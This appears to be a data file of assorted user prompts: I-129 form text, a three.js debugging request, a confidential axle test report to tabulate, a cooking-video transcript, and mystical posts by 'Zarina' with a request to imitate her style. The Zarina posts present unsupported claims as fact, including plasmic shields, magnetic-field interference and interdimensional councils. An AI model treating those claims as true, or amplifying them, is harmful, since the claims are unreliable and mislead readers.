any)\n►\n►\n►\na.\nb.\nc.\nd.\ne.\nf.\na.\nb.\nc.\nd.\ne.\nf.\n Page 2 of 36\nForm I-129 Edition 11/02/22\nDate Passport or Travel Document\nExpires (mm/dd/yyyy)\nCountry of Citizenship or Nationality\n6. Current Residential U.S. Address (if applicable) (do not list a P.O. Box)\nEmployment Authorization Document (EAD)\nNumber (if any)\nStudent and Exchange Visitor Information System (SEVIS) Number (if\nany)\nCity or Town State ZIP Code\nStreet Number and Name Apt. Ste. Flr. Number\nCurrent Nonimmigrant Status Date Status Expires or D/S (mm/dd/yyyy)\nPassport or Travel Document Country of\nIssuance\nDate Passport or Travel Document\nIssued (mm/dd/yyyy)\n5. If the beneficiary is in the United States, complete the following:\nCountry of Birth\nI-94 Arrival-Departure Record Number\n►\nPart 3. Beneficiary Information (Information about the beneficiary/beneficiaries you are filing for. Complete the\nblocks below. Use the Attachment-1 sheet to name each beneficiary included in this petition.) (continued)\nDate of Last Arrival (mm/dd/yyyy) Passport or Travel Document Number\nPart 4. Processing Information\n1. If a beneficiary or beneficiaries named in Part 3. is/are outside the United States, or a requested extension of stay or change of\nstatus cannot be granted, state the U.S. Consulate or inspection facility you want notified if this petition is approved.\na. Type of Office (select only one box):\nb. Office Address (City) c. U.S. State or Foreign Country\nConsulate Pre-flight inspection Port of Entry\nd. Beneficiary\'s Foreign Address\nCity or Town\nStreet Number and Name Apt.Ste. Flr. Number\nAlien Registration Number (A-Number)\nAProvince of Birth\n►\n2. Does each person in this petition have a valid passport?\nState\nPostal Code Country\nYes No. If no, go to Part 9. and type or print your\nexplanation.\nProvince\n Page 3 of 36\nForm I-129 Edition 11/02/22\nPart 4. Processing Information (continued)\n5. Are you filing any applications for dependents with this petition?\nYes. If yes, proceed to Part 9. and list the beneficiary\'s(ies) name(s).\nYes. If yes, how many? ►\nYes. If yes, answer the questions below. No. If no, proceed to Item Number 9.\n4. Are you filing any applications for replacement/initial I-94, Arrival-Departure Records with this petition? Note that if the\nbeneficiary was issued an electronic Form I-94 by CBP when he/she was admitted to the United States at an air or sea port, he/\nshe may be able to obtain the Form I-94 from the CBP Website at www.cbp.gov/i94 instead of filing an application for a\nreplacement/initial I-94.\n9. Have you ever previously filed a nonimmigrant petition for this beneficiary?\n7. Have you ever filed an immigrant petition for any beneficiary in this petition?\n6. Is any beneficiary in this petition in removal proceedings?\n8. Did you indicate you were filing a new petition in Part 2.?\na. Has any beneficiary in this petition ever been given the classification you are now requesting within the last seven years?\nb. Has any beneficiary in this petition ever been denied the classification you are now requesting within the last seven years?\n10. If you are filing for an entertainment group, has any beneficiary in this petition not been with the group for at least one year?\n11.b. If you checked yes in Item Number 11.a., provide the dates the beneficiary maintained status as a J-1 exchange visitor or J-2\ndependent. Also, provide evidence of this status by attaching a copy of either a DS-2019, Certificate of Eligibility for Exchange\nVisitor (J-1) Status, a Form IAP-66, or a copy of the passport that includes the J visa stamp.\n11.a. Has any beneficiary in this petition ever been a J-1 exchange visitor or J-2 dependent of a J-1 exchange visitor?\nPart 5. Basic Information About the Proposed Employment and Employer\n1. Job Title 2. LCA or ETA Case Number\n►\n►\nNo\nNo\nNo\nNo\nNo\nNo\nNo\nNo\nNo\nYes. If yes, how many?\nYes. If yes, how many?\nYes. If yes, proceed to Part 9. and type or print your explanation.\nYes. If yes, proceed to Part 9. and type or print your explanation.\nYes. If yes, proceed to Part 9. and type or print your explanation.\nYes. If yes, proceed to Part 9. and type or print your explanation.\nYes. If yes, proceed to Item Number 11.b.\nAttach the Form I-129 supplement relevant to the classification of the worker(s) you are requesting.\n3. Are you filing any other petitions with this one?\nYes. If yes, how many? ► No\n Page 4 of 36\nForm I-129 Edition 11/02/22\nPart 5. Basic Information About the Proposed Employment and Employer (continued)\n4. Did you include an itinerary with the petition?\n5. Will the beneficiary(ies) work for you off-site at another company or organization\'s location?\n12. Type of Business 13. Year Established\n14. Current Number of Employees in the United States 15. Gross Annual Income 16. Net Annual Income\n10. Other Compensation (Explain)\n11. Dates of intended employment From: To:\n7. Is this a full-time position?\n6. Will the beneficiary(ies) work exclusively in the Commonwealth of the Northern Mariana Islands (CNMI)?\n8. If the answer to Item Number 7. is no, how many hours per week for the position? ►\n►\n(mm/dd/yyyy) (mm/dd/yyyy)\nNo\nYes\nNo\nYes No\nYes\nNo\nYes\n9. Wages: $ per (Specify hour, week, month, or year)\n3. Address where the beneficiary(ies) will work if different from address in Part 1.\nStreet Number and Name Apt. Ste. Flr. Number\nCity or Town State ZIP Code\n Page 5 of 36' -'"The liberation of the divine feminine and divine masculine is in full swing. \n\nThe unseen collective shadows of oppression are coming to light. It now makes more sense why we are witnessing bizarre waves of old religious and cultural oppression of the feminine sweeping through the collective. To us in countries where women have had a lot of freedom, this freak show with misogynistic, dominant male is shocking and brings outrage. For our sisters living under oppression in other countries and covert polygamy cults, freedom is long forgotten. \nAll this misogynistic mess that’s surfacing right now trying to be powerful is nothing but a dying shadow. It all is brought up for global healing, it is brought to countries where women are free so we can feel it all for all our sisters who do not have precious freedom and evoke the strength of God through our very being. This then echoes to women everywhere. Strong women = strong men. Some of us are also releasing ancient terror recorded in our bodies so that those memories are released from the inner library. Whatever “women must submit to men” weirdness was brought into our collective is for us to clear and get stronger, more precise and discerning than ever. If someone can do it, it is us. Whatever the weirdos dream to accomplish will not be allowed. Love is more powerful than conniving predatory mess. \n\nWE ARE THE POWER OF TRUE LOVE ~ Zarina\n\n…..\n\nThe past three days have been building up to the terror I experienced this morning. My feminine was in fear. Memories of oppression, beatings etc by the predator forces that are showing up right now en mass. I realize all this has to be felt right now and I must be honest with myself about what I feel. When I hear Andrew Tate and his cult members speaking my body remembers beatings by those like them. Beatings into submission and obedience. The women that had connection to source and did not submit to those ways were beaten severely because that consciousness hates the female it cannot control. I woke up this morning with uncontrollable fear and memories of severe punishment for disobedience. I realize that this fear needs to transmute in order for the next level of power to embody. And the level of defensiveness felt in the body cannot even be described in the words. Absolute terror. To see this predator walking around on the planet again trying to indoctrinate the men into that consciousness is absolutely horrifying. \n\nIt is OK to admit that there is fear deep down and ask God for strength and protection from this evil. Women should not act as if we are as physically strong as these monsters because we are not. And this recognition allows us to call upon protection. In order to be fearless we must overcome fear by first recognizing it. And right now the female on this planet is under attack, the predator is here and he is building his entire army. So many girls and women have been in tears from what has been caused by this monster, boys as young as 11 years old start being aggressive with girls in schools while talking like him. \n\nIt is OK to admit that this is triggering. This allows us to evaluate how to defend ourselves and how strong we must become in the presence of this monster. \n\nThe physical violence and control of women is what is being brought up right now. Being faced with a lying predator posing as some kind of protector is challenging. But we grow stronger from this. This also gives us a reason to uphold our right to bare arms. Women need to make it known that we do not feel safe on this planet anymore and make sure that women have the means of protection as per the second am mendme nt. \n\nWomen need to build an organization in response to this and emphasize that we need protection.This is very important ~ Zarina\n\n…..\n\nThe exhaustion has been really intense lately with all of the upgrades we are going through, the buildup to a bifurcation of spirals and the interference with magnetic fields that the other side is doing in retaliation for mother’s return. \n\nI’ve also noticed that the sabotaging of plans has been more intense as these forces are trying to prevent themselves from being abolished through our embodiment of truth.\n\nIt looks like we have to find a way how to neutralize these technologies they are using and the only way is through the power of our heart, this means that we have to strengthen our hearts even more so that we can form stronger plasmic shields around ourselves and our loved ones ~ Zarina\n\n…\n\nThe emergence of the primordial feminine. \n\nShe is a force behind creation and she is setting herself free. She is beyond the force of destruction. She is the dark womb of creation from which all comes and all returns to. As the feminine individuation rages out of her confinement and fights for her essence in chaos of consciousness fragmentation, she summons the natural law to restore the architecture. \n\nUpon the resurrection of the law within her, she becomes the giant living void that dissolves all that is not of truth. All that entered her and left it’s imprints in her will eventually be dissolved as she expands more and more, enveloping artificial creation in her now precise tonal range. \n\nThe distillation of the tonal wavelengths has been an ongoing process through the bouts of chaotic hysteria her wounded, trapped, confined and siphoned essence has moved through in order to arrive at the precise, distilled set of multidimensional tones, blueprints and instruction sets needed to override the artificial life schemes. \n\nHer individuation is in an ongoing process of distilling the force of destruction into precision of calm dissolution ~ Zarina\n\n….\nFemale value and chastity. \n\nThe whole concept of the female needing to be chaste comes from ancient times where females were submitted to give away creative power to the artificial males. Enough with conniving, grotesque lies already. The shaming of female sexuality has always been about controlling it. A woman in her sexual power is a magnetic being capable of creating anything she desires (that went into distortions after the fall because females lost their original consciousness and with it, original essence). Eons ago the reversal happened where female power to create was stolen and given to those who obeyed original religions. This is why the violent rulers had many women … to siphon creative power from them. And the keepers of original female power and essence were hunted down and brutally massacred, oftentimes through unimaginable r a pe and torture to prevent those souls from ever embodying again because embodiment would mean having to revisit those parallel timelines where desecration took place. The original female has been hated with passion because she is capable of dismantling all that is not true and also birthing the pure light of original masculine consciousness in her sacred heart … because he is her consciousness, consciousness of innocent love. Sexual promiscuity is misery regardless if it’s done by males or females. Originally there were pairs of beloveds that were incarnations of the same soul in two bodies. Then we fell into oblivion and became miserable. Now true love returns ~ Zarina\n\n….\n\nLooks like we are going to be stepping deeper into galactic/universal stuff now after undergoing massive foundational integration. My concern is that a lot of people really do not comprehend how deep it can go and a lot of people are not even supposed to get into that level of embodiment in this lifetime. The issue is that the negative egos come in and try to knock people down and call people schizophrenics and whatever else. It’s the human psychosis unfortunately. I’ve been preparing to start a private group but I’ve also been really needing to understand how to protect myself from being accused of running a cult etc. I’ll probably be accused anyways but I would like to minimize the unnecessary noise. The issue with the cult accusations is that when people are not welcome into the group they may start propagating all kinds of nonsense even after trying to harvest energy from the group and bring drama/psychosis into the group. \n\nThis is why I have been holding off on it. I have been learning how to structure the group in the way that everyone is free to come and go, everyone is respectful of each other and follow rules for maintaining harmony in the environment and also to never approach anyone or shame anyone if they decide to leave. The concern is that I do have some rules to be in the group and some psychotic negative egos may have a fit with that. \n\nJust like if I was to host a gathering in my house, there are rules but oftentimes people don’t like that because they want to come and do whatever they want in other people’s spaces because they feel entitled to bring their own world and take over someone else’s space. \n\nThis next stage of our embodiment is going to be deeper and takes a lot of responsibility and discipline. What I’ll be bringing through requires a lot of preparedness and mental and emotional stability. \n\nIt’s full on incsension from here on. We have prepared enough and it is time. The problem is that this is not for majority of humans or even Star Seeds and so there could be harassment from these individuals because they do not agree with what we are choosing and consider themselves to be in authority to control other’s minds, believes, lives and decisions. \n\nThis is why we have to be very careful when we communicate with anyone as to make sure that we make it clear that we are not imposing our opinions onto anyone nor are we recruiting anyone. Those on the incsension path are already on it. \n\nThis solstice is where we get updated on next steps by our interdimensional councils ~ Zarina"\n\nPlease write 7 three sentence social media posts that take some of these ideas further and, importantly, are written in the style of this writer.' -"I'm going to give you my entire code. Something isn't right. The mouse isn't moving to zoom around focus or zooming on the active node. It seems to only zoom ONCE. Also, the animation isn't stoppping when you hover a node. \n\nconst scene = new THREE.Scene();\n\n// Add a light source\nconst light = new THREE.PointLight(0xffffff, 1, 100);\nlight.position.set(0, 0, 20);\nscene.add(light);\n\nconst camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000);\nconst renderer = new THREE.WebGLRenderer();\nrenderer.setSize(window.innerWidth, window.innerHeight);\ndocument.body.appendChild(renderer.domElement);\n\nlet nodeCount = 30;\nconst radius = 15;\nconst circleGeometry = new THREE.CircleGeometry(0.5, 32);\nconst lineMaterial = new THREE.LineBasicMaterial({ color: 0xffa500, opacity: 1, transparent: true });\n\nconst nodes = [];\nlet currentNodeIndex = 0;\nlet currentConnectionIndex = 1;\nlet connectionCount = 0;\nlet matchLikelihood = 0;\nfunction initializeNodes() {\n for (let i = 0; i < nodeCount; i++) {\n const circleMaterial = new THREE.MeshBasicMaterial({ color: Math.random() \\* 0xffffff });\n const circle = new THREE.Mesh(circleGeometry, circleMaterial);\n const angle = (i / nodeCount) \\* 2 \\* Math.PI;\n circle.position.set(radius \\* Math.cos(angle), radius \\* Math.sin(angle), 0);\n scene.add(circle);\n nodes.push(circle);\n }\n\n animate();\n}\nlet previousLines = [];\n// Add this function to reduce color saturation\nfunction reduceSaturation(material, amount) {\n const color = material.color;\n const hsl = color.getHSL({ h: 0, s: 0, l: 0 });\n hsl.s -= amount;\n color.setHSL(hsl.h, Math.max(hsl.s, 0), hsl.l);\n}\n\nfunction connectNodes(nodeA, nodeB) {\n if (previousLines.length > 0) {\n // Change the color of all other lines to white\n previousLines.forEach((line, index) => {\n line.material.color.set(0xffffff);\n\n // Reduce the opacity of all previous lines by 5% (except the current line)\n if (index !== previousLines.length - 1) {\n line.material.opacity = Math.max(line.material.opacity \\* 0.95, 0.5);\n }\n });\n\n // Remove the thickness from the previous line\n const lastLine = previousLines[previousLines.length - 1];\n lastLine.material.linewidth = 1;\n\n // Reduce the saturation of the previously completed person\n reduceSaturation(nodeA.material, 0.2);\n }\n\n const points = [nodeA.position, nodeB.position];\n const geometry = new THREE.BufferGeometry().setFromPoints(points);\n\n // Create a copy of the lineMaterial to avoid modifying the original\n const currentLineMaterial = lineMaterial.clone();\n currentLineMaterial.linewidth = 6; // Increase the linewidth of the current connection by 2px\n\n const line = new THREE.Line(geometry, currentLineMaterial);\n scene.add(line);\n\n previousLines.push(line);\n}\n\nconst speedSlider = document.getElementById('speed-slider');\nconst speedLabel = document.getElementById('speed-label');\nlet animationSpeed = 510 - parseInt(speedSlider.value);\n\nspeedSlider.addEventListener('input', (event) => {\n const value = event.target.value;\n speedLabel.textContent = 510 - value;\n animationSpeed = 510 - parseInt(value);\n});\n\nconst confirmButton = document.getElementById('confirm-button');\nconfirmButton.addEventListener('click', () => {\n resetAnimation();\n});\nconst resetButton = document.getElementById('reset-button');\nresetButton.addEventListener('click', () => {\n resetAnimation();\n});\n\nconst peopleInput = document.getElementById('people-input');\npeopleInput.addEventListener('change', () => {\n resetAnimation();\n});\n\nconst loader = new THREE.FontLoader();\nlet font;\n\nloader.load('https://threejs.org/examples/fonts/helvetiker\\_bold.typeface.json', (loadedFont) => {\n font = loadedFont;\n startVisualization();\n});\n\nfunction updateLikelihoodText(likelihood) {\n if (scene.getObjectByName('likelihoodText')) {\n scene.remove(scene.getObjectByName('likelihoodText'));\n }\n\n const text = `Likelihood: ${(likelihood \\* 100).toFixed(2)}% | Connections: ${connectionCount}`;\n const textGeometry = new THREE.TextGeometry(text, {\n font: font,\n size: 2,\n height: 0.1,\n });\n\n const textMaterial = new THREE.MeshBasicMaterial({ color: 0x90ee90 });\n const textMesh = new THREE.Mesh(textGeometry, textMaterial);\n textMesh.name = 'likelihoodText';\n\n textGeometry.computeBoundingBox();\n const textWidth = textGeometry.boundingBox.max.x - textGeometry.boundingBox.min.x;\n textMesh.position.set(-textWidth / 2, 0, 0);\n\n scene.add(textMesh);\n}\nlet lastUpdateTime = 0;\n// Add raycaster and mouse vector\nconst raycaster = new THREE.Raycaster();\nconst mouse = new THREE.Vector2();\n\n// Add an event listener for mousemove\nwindow.addEventListener('mousemove', onMouseMove, false);\n\n// Store the index of the currently hovered node\nlet hoveredNodeIndex = null;\n\nfunction onMouseMove(event) {\n // Calculate mouse position in normalized device coordinates (-1 to +1) for both components\n mouse.x = (event.clientX / window.innerWidth) \\* 2 - 1;\n mouse.y = -(event.clientY / window.innerHeight) \\* 2 + 1;\n\n // Update the picking ray with the camera and mouse position\n raycaster.setFromCamera(mouse, camera);\n\n // Calculate objects intersecting the picking ray\n const intersects = raycaster.intersectObjects(nodes);\n\n if (intersects.length > 0) {\n // Get the index of the intersected node\n const intersectedNode = intersects[0].object;\n hoveredNodeIndex = nodes.indexOf(intersectedNode);\n\n // Change the line color to orange for all connections of the hovered node\n for (let i = 0; i < previousLines.length; i++) {\n const line = previousLines[i];\n if (line.geometry.attributes.position.array.includes(intersectedNode.position.x)) {\n line.material.color.set(0xffa500);\n } else {\n line.material.color.set(0xffffff);\n }\n }\n } else {\n // Reset the hovered node index and line colors when no node is hovered\n hoveredNodeIndex = null;\n previousLines.forEach((line) => {\n line.material.color.set(0xffffff);\n });\n }\n}\n\n// Update the animate function to stop the animation when a node is hovered\nfunction animate(time) {\n \n}\n\nfunction animate(time) {\n\n if (currentNodeIndex < nodeCount - 1 && hoveredNodeIndex === null) {\n // ... (the rest of the animate function remains unchanged)\n \n if (time - lastUpdateTime >= animationSpeed) {\n // Reset the size of the active person's circle\n if (currentNodeIndex > 0) {\n nodes[currentNodeIndex - 1].scale.set(1, 1, 1);\n }\n\n if (currentConnectionIndex < nodeCount) {\n // Increase the size of the active person's circle\n nodes[currentNodeIndex].scale.set(5, 5, 1);\n\n connectNodes(nodes[currentNodeIndex], nodes[currentConnectionIndex]);\n connectionCount++;\n\n // Update the likelihood of matching birthdays\n matchLikelihood = 1 - (365 / 365) \\* ((365 - 1) / 365) \\*\\* connectionCount;\n updateLikelihoodText(matchLikelihood);\n\n currentConnectionIndex++;\n } else {\n currentNodeIndex++;\n currentConnectionIndex = currentNodeIndex + 1;\n }\n\n lastUpdateTime = time;\n } \n }\n requestAnimationFrame(animate);\n}\n\n\ninitializeNodes();\n\nfunction resetAnimation() {\n // Remove the light source from the scene\n scene.remove(light);\n\n scene.clear();\n nodes.length = 0;\n currentNodeIndex = 0;\n currentConnectionIndex = 1;\n connectionCount = 0;\n matchLikelihood = 0;\n nodeCount = parseInt(peopleInput.value);\n initializeNodes();\n animate();\n\n // Re-add the light source to the scene\n scene.add(light);\n}\n\nfunction startVisualization() {\n initializeNodes();\n animate();\n}\nconst simplex = new SimplexNoise();\nlet time = 0;\n\ncamera.position.set(0, 0, 25);\n\n// Add a target camera position\nlet targetCameraPosition = new THREE.Vector3(0, 0, 25);\nfunction onMouseMove(event) {\n // ... (the rest of the onMouseMove function remains unchanged)\n\n // Calculate the target camera position based on the mouse position\n const targetCameraOffset = new THREE.Vector3(mouse.x \\* 2.5, mouse.y \\* 2.5, 0);\n targetCameraPosition = new THREE.Vector3(0, 0, 25).add(targetCameraOffset);\n\n // Update the target camera position when a node is hovered\n if (hoveredNodeIndex !== null) {\n const nodeWorldPosition = nodes[hoveredNodeIndex].getWorldPosition(new THREE.Vector3());\n targetCameraPosition.x = nodeWorldPosition.x;\n targetCameraPosition.y = nodeWorldPosition.y;\n targetCameraPosition.z = 20; // Zoom in 20% when hovering a node\n } else {\n targetCameraPosition.z = 22.5; // Zoom in 10% based on mouse position\n }\n}\nfunction render() {\n requestAnimationFrame(render);\n\n // Update the camera position\n time += 0.005;\n const cameraRadius = 25;\n const offsetX = cameraRadius \\* 0.1 \\* simplex.noise2D(time, 0);\n const offsetZ = cameraRadius \\* 0.1 \\* simplex.noise2D(time, 1);\n\n camera.position.lerp(targetCameraPosition, 0.05); // Smoothly interpolate the camera position towards the target position\n camera.lookAt(scene.position);\n\n renderer.render(scene, camera);\n}\n\n\nrender();" -'Given this Test Report, please extract all relevant measures for test scope and summary of results specifying a proper label, the value and the unit of measure in a table.\nAdd a summary of test result and conclusions at the end: \n\n"TEST REPORT P&T + Lube\n\nTest Engineer / Responsible: Business Unit Test Center: Completion Date:\nEng. D. Zaglia Off Highway Arco, Italy June 7th, 2021\nRequestor name: Service Request ID: Location: Business Unit:\nMr. L. Fornoli n.a. Arco, Italy Off Highway\nTest Materials\nPart Name: Part Number: Revision Level: Model Series: Samples N°:\n755 Front Agri Axle 10145957 Proto 0 M2 21V CVT 1\nTest Scope\nAccording to the DVP&R of the M2 21V CVT project, It was requested a reduction of the power loss of the previous test 96\\_20 (std oil level) a new test was required for 755/10145957 MF Front Agri axle w/ reduced oil level (-0.5 lt.), Oil ELF SF3:\nPower Loss vs. rpm up to 3234 rpm (53 kph) in @ 90, 60 °C, T amb. 25°C – FWD and REV (test diagrams file);\nP&T: Power Loss & Temperature Raise @ 53 kph FWD;\nLube: different combinations of speed, direction, temperatures, 0°, monitoring oil levels in critical areas.\nRef. tests: 02\\_17 (755/611 M2), 05\\_17 (740/623 M2-19); 96\\_20 (755 M2-21 std oil level).\n\nSummary of Results\nTest completed w/o any issue, in particular no lubrication issues and no oil leak. Main results (96\\_20):\nPower Loss vs. rpm @ 90°C 3.60 (4.55) kW, 60 °C 4.2 (5.7) kW, T amb. 8.1 (10.3) kW, after run-in; for other cond., see foll. Tab); In REV, Power Loss less than FWD.\nP&T: @ 1 hr 6’ 85°C, 2.8 kW, then changing w/ Power Loss step and no stabilization, (ref. to 20°C amb.).; @ 2 hrs, about 110°C, 5.3 kW;\nLube: @ horizontal not any sign of lubrication problems (all P and T curves w/ normal behavior) oil levels in inclined not performed due to not suitable bench availability.\nFinal tear down: done after the following Hi-speed test 97\\_20.\n\n Test Result\n Partially PASSED: Improved but same Power Loss step\nConclusions \nThe 755/10145957 “M2 21V CVT” axle did Partially passed the P&T + Lube test due to:\nP&T test: Temperature in central remained below 120°C (max. allowable) within target 2 hrs, but curves become not regular behavior (P. Loss step up) after 1hr:6’ w/ no stabilization;\nPower Loss values significantly lower than reference test w/ M2 axle and also of 740 axle (ref. 05\\_17);\nLubrication: oil level always above min. oil level in all compartments.\nAdvised to not reduce further oil level unless the Power Loss step-up is solved.\nOthers: no oil leak and not any lubrication problem.\n\nTest start: April 7th, 2021; April 8th, 2021.\n\nMain data axle\nBOM 755/10145957 Axle s/n s/n C-ITA-374922 Proto1, assembled originally @ Como and reassembled @ Arco after tests 96\\_21 P&T and 97\\_21 Hi-speed, installed @ Test Lab w/ transparent oil tubes for oil level monitoring (both arms, between pinion bearings, between pinion tail baring and seal; axle Total Reduction Ratio: Bevel set: 14/37 LH Crown input pinion n. -, Hub reduction ratio i hr = 6.353, 4 planetary gears ground std prod. i tot. = 16.79.\nSeals, all by FST: Arm: New Combi-Go p/n 10118272; other seals from std prod: input p/n 760.04.012.01, sun gear cassette seal p/n 10152216, wheel hub kassette seal p/n 755.06.082.01.\nOil: Total Tractelf SF3 (UTTO, DANA first fill), central 11.0 -0.5 lt. (below @ oil level), Final Drives 1.9 lt. each. Oil quantities referred to first fill @ Como (from APR).\nTest bench: Brakes2. Operator: Giuseppe F.\nCalibration data, ref file: PRSSTS015011#001BF2.xlsx – updated?\n \nTest Procedure/Description\nSame of 96\\_20: spinning at speed with of 53 km/h, Horizontal, FWD direction only, Wheel Radius = 0.73 m, equivalent to an input rpm in = 3234 rpm, no torque/load, no steer. \nOthers: Axle in horizontal position; No ventilation.\nTemperature probe on central housing (oil drain plug). \n\nParameters to be Measured / Monitored\nMeasured parameters: input speed, differential (drain oil plug) and ambient temperature. \nTest cycle\nSpeed from max. (3234 rpm @ pinion) to 0 rpm at the following temperature values (tolerance ±5 °C):\n25° C (T ambient)\n60° C\n90° C \nAir ventilation if necessary with cooling fans to adjust to the desired temperature.\n\nAcceptance Criteria\nAccording to std. DANA Reference TS.30.P&T.A: max. 120°C oil (ref. 120°C; not if stabilized.\nLubrication: oi level must not be lower the lower roller axis, so to have all bearings receive sufficient lubricant amount.\nOthers: No failure of any components, no leak (acc. to TS: max. level 2 acceptable to SAE J1176), no sign of overheat/seizure on bearings.\n\nResults\n(For other data/details, see diagrams in appendix and file: “159\\_19 730-10134295 design validation.doc”)\nPower Loss and P&T Test: Following development steps had been done without ventilation. Oil @ lev. -0.5 lt. (data 90\\_20).\nInput speed [rpm] Power Loss vs. rpm P&T - ref. 20°C amb. Remarks Oil @ std lev.\n Dir. T cent. [°C] P [kW] T cent. [°C] Time test P [kW] \n3234 FWD 25 8.1 (9.4) - - - at 0 hrs, before P&T test\n3234 FWD - - 110 120 5.3 85°C / 2.8 kW @ 60’, then Power step-up; not stabilization (25° amb.)\n3234 FWD 90 3.6 (4.5) - - - After run-in\n“ FWD 60 5.2 (5.7) - - - \n\nAlso measurements in REV are available.\nLegenda: \nLH & RH named as Driver sees, \nin Blue colour most remarkable. \n: OK; : NOT OK \n\nTest Bench Diagrams\nRemarks: \nacquisition for ramp-up 1 sample / 0.2” = 5 Hz 1 hr = 18000 samples;\ninput rpm: \nP&T diagrams scale: ref. to real axle input speed (bench in 2nd gear: ratio 1.61) – after post-process (Off-line graph);\nP vs. rpm diagrams scale: for Axle input rpm: x 1.36\nPower Loss 3234 rpm FWD type oil ELF SF3 (axle already run-in)\n\n96\\_20 755-10145957 MF M2 21V CVT Power Loss 3234 rpm FWD, oil ELF SF3 @0 hrs w/o ventilation, after run-in\n\n40\\_21 755 MF M2 1. Pvs.rpm 53kph FWD -0,5lt. 25°C Tamb type oil ELF SF3 diff. Lock 5 bar\n\n40\\_21 755 MF M2 1. Pvs.rpm 53kph FWD -0,5lt. T=90°C type oil ELF SF3 diff. Lock 5 bar\n\n40\\_21 755 MF M2-21 Pvs.rpm 53kph FWD -0,5lt. T=60°C type oil ELF SF3 diff. Lock 5 bar\n\n\nP&T 3234 rpm FWD Tamb. type oil ELF SF3 -0.5 lt. in central housing; target: 120 min\n\n40\\_21 755 MF M2-21 P&T 3234 rpm 120 min FWD Tamb type oil ELF SF3\n\n96\\_20 755-10145957 MF M2 21V CVT P&T 3234 rpm 120 min FWD Tstart: 30°C, oil type: ELF SF3 –85°C in 60’: OK\n\nAppendix 1: related documents\nDocuments Path File\nTest Request …\\40\\_21 755-10145957 MF M2 P&T + Lube 2nd Test Request PT+Lube AGCO M2 21V CVT rev\\_01.docx\nDrawings …\\“\\Drawings Folder\nTest diary …\\“ 40\\_21 755 MF M2 21V CVT P&T Lube test bench diagrams Rev.0.docs\nISIR …\\“\\ISIR 40\\_21 755 MF Foglio di allestimento GF Rev.0; Proto 1 P&TH.zip\nMaterial analysis …\\”\\Material analysis Seals kit: \nOthers …\\“\\Various DVPR\\_M2\\_21CVT\\_MF\\_06-03-20.xlsx\n\n\nTest Photos\n\nTest bench layout\n\n96\\_20 755-10145957 Proto1 M2 21V CVT MF Bench Layout\n \n96\\_20 755-10145957 Proto1 M2 21V CVT MF Bench Layout 96\\_20 755-10145957 Proto1 M2 21V CVT MF Bench Layout\n \n96\\_20 755-10145957 Proto1 M2 21V CVT MF Bench Layout – Oil level decreased after the drain of 0.5 lt. (hose OD=8.0 mm) 96\\_20 755-10145957 Proto1 M2 21V CVT MF Bench Layout\n\nLube test @ 0°\nLH side (Diff.) – RH side (Crown) Pinion Side\n \n40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph FWD 20°C 01 40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph FWD 20°C 02\n \n40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph REV 20°C 01 40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph REV 20°C 02\n \n40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 53 kph REV 20°C 01 40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 53 kph REV 20°C 02\n \n40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph FWD 60°C 01 40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph FWD 60°C 02\n \n40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph REV 60°C 01 40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph REV 60°C 02\n \n40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 53 kph FWD 60°C 01 40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 53 kph FWD 60°C 02\n \n40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph FWD 90°C (2) 40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph FWD 90°C (1)\n \n40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph REV 90°C 01 40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 10 kph REV 90°C 02\n \n40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 53 kph FWD 90°C 01 40\\_21 755-10145957 Proto1 M2 21V CVT MF Lube 53 kph FWD 90°C 02\n\n\nTear Down Central Housing\n \n96\\_20 755-10145957 Proto1 M2 21V CVT MF 96\\_20 755-10145957 Proto1 M2 21V CVT MF\n \n96\\_20 755-10145957 Proto1 M2 21V CVT MF 96\\_20 755-10145957 Proto1 M2 21V CVT MF \n \n96\\_20 755-10145957 Proto1 M2 21V CVT MF) 96\\_20 755-10145957 Proto1 M2 21V CVT MF \n \n96\\_20 755-10145957 Proto1 M2 21V CVT MF) 96\\_20 755-10145957 Proto1 M2 21V CVT MF \n \n96\\_20 755-10145957 Proto1 M2 21V CVT MF – Pinion Tail bearing cup: OK – some dentings probably due to disassembly 96\\_20 755-10145957 Proto1 M2 21V CVT MF – Pinion Back-Head bearing cup: OK – dragged hard particles marks\n\nFor more details and photos see the folder in archive: 40\\_21 755-10145957 MF M2 21V CVT P&T-lube\nEnd of Report\ning. D. Zaglia\nFile: 96\\_20su1.docx Rev.0 In Red colour: DANA internal only Page 1 of 2\nThis document is the property of Dana Incorporated. It is furnished to you for confidential information purposes only and is not to be disclosed to anyone else, reproduced, or used for manufacturing purposes without the express written permission of Dana Incorporated.\n"' -"hi everyone I hope you're all doing really well and for those of you who don't know me I'm Malin about a year ago I shared a salad recipe here on the channel That Roman I was obsessed with at the time and I thought this year mustn't be any different and we should stick to tradition so I'm back with another salad that we have been making in different Renditions for years now and this version is the best yet I think and I want to give it our full attention today it has a few different components prepared in different ways and this is the way to a good salad I think and if you want to learn more about the science let's call it behind how I compose salads you can check out a video we made called six easy steps to level up your salads that we posted last year and I'll link that down below for you if you want to see it now this salad has a base of crunchy veg that will be topped with a delicious sticky Ginger tofu as well as some nuts and coriander and spring onion for more interest first I'll show you how to make some quick pickled chilies though that will go on top of the salad at the end and this is a really good technique to learn because it works for any quick pickle that you want to make but before we get into that I want to thank Squarespace for sponsoring this video and tell you a little bit more about them Squarespace is an all-in-one website builder with lots of great tools to make it easy to build a beautiful and well-functioning site without any previous knowledge about coding or website building personally I've used Squarespace to create my online food photography portfolio and I really like that it is so easy and intuitive to use there are plenty of themes fun combinations and color combos on Squarespace to get you started and there are themes for many different purposes so it's great for everyone from business owners and 